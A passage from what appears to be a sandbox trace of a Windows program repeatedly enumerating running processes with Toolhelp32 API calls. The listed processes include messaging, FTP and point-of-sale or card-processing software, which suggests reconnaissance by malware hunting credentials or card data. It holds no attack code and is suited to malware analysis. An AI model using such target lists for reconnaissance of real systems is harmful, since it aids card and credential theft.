th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0135.253] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0135.255] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0135.257] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0135.259] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0135.261] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0135.263] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0135.265] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0135.280] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0135.282] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0135.284] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0135.286] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0135.289] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0135.291] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0135.292] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0135.294] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0135.296] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0135.298] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0135.299] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0135.301] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0135.303] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0135.306] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0135.308] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0135.315] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0135.317] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.319] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0135.320] CloseHandle (hObject=0x1e10) returned 1 [0135.320] Sleep (dwMilliseconds=0x64) [0135.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e10 [0135.473] Process32First (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.475] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.476] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.478] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.480] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.482] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.484] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.486] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.489] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.491] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.493] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.495] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.498] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.501] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.503] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.505] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.508] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.510] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.512] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.515] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.517] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0135.519] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.522] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.524] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0135.526] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0135.528] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0135.530] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.532] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0135.535] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0135.537] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.539] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.541] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.543] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0135.546] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0135.548] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.550] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.553] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.555] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.557] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0135.559] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0135.561] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0135.568] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0135.570] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0135.572] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0135.574] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0135.577] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0135.579] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0135.581] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0135.583] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0135.586] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0135.589] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0135.591] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0135.593] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0135.595] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0135.597] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0135.600] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0135.602] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0135.604] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: 